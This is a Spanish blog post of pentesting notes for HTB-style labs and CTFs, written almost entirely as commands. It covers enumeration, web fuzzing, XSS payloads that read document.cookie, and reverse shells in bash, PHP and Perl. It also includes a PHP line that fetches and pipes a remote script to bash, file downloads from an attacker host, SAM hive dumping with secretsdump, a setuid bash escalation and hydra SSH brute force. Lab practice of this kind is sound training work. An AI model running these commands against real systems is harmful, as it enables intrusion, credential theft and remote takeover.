Entrada

Pentesting tips

Pentesting tips

Acerca de este post

He creado este post con la intención de tener apuntes para realización de pentesting, consejos y tips para llevar a cabo penetración de sistemas. Está enfocado a la realización de máquinas en plataformas como HTB, CTFs, así como entornos controlados. Está sujeto a cambios, mejoras, etc dependiendo del uso que vaya probando y mis propias preferencias. No añado comentarios para mantenerlo lo más limpio posible.

Nmap

Escanear sistema

1
nmap -p- -Pn -sSVC 10.129.229.146

Listar scripts

1
ls /usr/share/nmap/scripts/

Usar script

1
nmap --script  ftp-vsftpd-backdoor.nse -p 21  10.129.229.146

Exploits

1
searchsploit 8.1.0-dev

Descubrimientos Windows

Samba Shares

1
2
3
nmap  --script smb-enum-shares -p 445 10.129.229.146
crackmapexec smb dc01.timelapse.htb  --shares -u 'Guest' -p ''  10.129.227.113 
smbclient //dc01.timelapse.htb/Shares -N 

Usuarios smb

1
nmap --script smb-enum-users.nse -p445 10.129.229.146

Enumearción LDAP

1
2
3
4
5
6
7
8
nmap -p 389 --script ldap-brute.nse  10.129.121.110 
nmap -p 389 --script ldap-brute --script-args ldap.base='"dc=baby.vl"' 10.129.121.110
nmap -p 389 --script ldap-brute --script-args 'ldap.base="dc=baby.vl",brute.users=users.txt,brute.pass=/wordlist.txt' 10.129.121.110
ldapsearch -x  -H ldap://10.129.121.110 -b "dc=baby,dc=vl"
ldapsearch -x -b "dc=baby, dc=vl" "(objectClass=person)" -H ldap://10.129.121.110 
ldapsearch -x -b "dc=baby, dc=vl" "(objectClass=user)" -H ldap://10.129.121.110 
nxc ldap baby.vl -u users.txt -p 'BabyStart123!' 10.129.121.110
impacket-GetNPUsers htb.local/svc-alfresco -dc-ip 10.129.13.155 -no-pass

Descubrimientos web

Curl

1
curl -i 10.129.28.20 

Fuzzing subdominios

1
gobuster dns -do nasa.gov -w wordlist/SecLists/Discovery/DNS/subdomains-top1million-110000.txt --delay 400ms

Fuzzing directorios

1
dirsearch -u http://shocker.htb/

Fuzzing archivos

1
dirsearch -u https://target.com -e php,html,js,txt,zip,sql -r --delay 1
1
feroxbuster -u http://shocker.htb//cgi-bin/ -x sh,pl,py,php

Fuzzing path

1
ffuf -u https://www.example.com/search/?q=FUZZ -w wordlist/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt -t 1 -v

XSS

Posible vulnerable headers

1
2
3
4
5
Location
Referer
User-Agent
X-Forwarded-For
Host

XSS test

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

1
2
hello"><script>alert("hello")</script>
img"><img src/onerror=prompt(document.cookie)>

HTML Injection

1
2
marquee"><marquee>hello</marquee>
hello"><u>underline

SQLMap

1
sqlmap -u "https://target.htb" --random-agent

SSTI

1
2
3
{{ 1/0 }}

Curl

1
curl -X POST "http://2million.htb/api/v1/invite/verify" -H  "accept: application/json" -d "code=12345678" --cookie 

Payloads

https://github.com/swisskyrepo/PayloadsAllTheThings

Reverse shell

Generador de varias reverseshell https://www.revshells.com/

Bash

1
2
sh -i >& /dev/tcp/10.10.14.110/4444 0>&1
bash -c "bash -i >& /dev/tcp/10.10.14.110/4444 0>&1"

Netcat

1
nc -nlvp 4444

Socat

1
socat tcp-listen:4444 -
1
socat file:`tty`,raw,echo=0 tcp-listen:4444

PHP

1
 <?php system("curl http://10.10.14.70:8000/rev.sh|bash"); ?> 
1
<?php system(/bin/bash -c bash -i >& /dev/tcp/10.10.14.166/4444 0>&1′”); ?>

Si no funcionan, prueba con revershell.com a genear un archivo PHP.

Perl

1
2
3
export RHOST=10.10.14.110
export RPORT=4448
perl -e 'use Socket;$i="$ENV{RHOST}";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Metasplot SSH

1
auxiliary/scanner/ssh/ssh_login

Tratamiento TTY

Linux

1
script /dev/null -c bash

Python

1
2
python3 -c 'import pty; pty.spawn("/bin/bash")';
export TERM=xterm

Pulsar Ctrl+Z , esto envía la terminal al background,

1
stty raw -echo; fg

Volvemos a recuperar la terminal, esto nos permite utilizar Ctrl + C sin que se corte la conexión con la shell. Además tenemos un terminal con capacidades como autocompletado.

Escalada privilegios

Windows

Evil-WinRm

1
2
download sam
downlaod system

Descarga de archivos con CMD

1
certutil -urlcache -split -f https://atacker_ip/malware.py mw.py

Descarga de archivos con PowerShell

1
Invoke-WebRequest -Uri "https://atackerip/archivo.zip" -OutFile "C:\ruta\destino\archivo.zip"

Impacket-secretsdump

1
2
3
4
5
evil-winrm-py PS C:\Users\Caroline.Robinson\Documents> reg save hklm\sam sam
evil-winrm-py PS C:\Users\Caroline.Robinson\Documents> reg save hklm\system .\system
evil-winrm-py PS C:\Users\Caroline.Robinson\Documents> download sam sam
evil-winrm-py PS C:\Users\Caroline.Robinson\Documents> download system system
impacket-secretsdump -sam sam -system system LOCAL

Winpeas

Winpeas.bat

Linux

Sudo

1
sudo -l 

Find de archivos con el bit SUID activado

1
find / -perm -u=s -type f 2>/dev/null

Find archivos con permisos de escritura

1
find /ruta -type f -perm -u=w

Establecer el bit setuid en Bash

1
chmod u+s /bin/bash

Path hijacking

1
2
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Linpeas

Linpeas.sh

Pspy

https://github.com/DominicBreuker/pspy

Metasploit

Módulo local_exploit_suggester

GTFObins

https://gtfobins.github.io/

Cracking

Hashcat

1
hashcat -m 3200 hash /usr/share/wordlist/rockyou.txt

samdump2

1
samdump2 SYSTEM SAM

Brute force

THC-Hydra

1
hydra -l root -P ~/pentest/wordlist/rockyou.txt  10.10.14.21  ssh -t 4
Esta entrada está licenciada bajo CC BY 4.0 por el autor.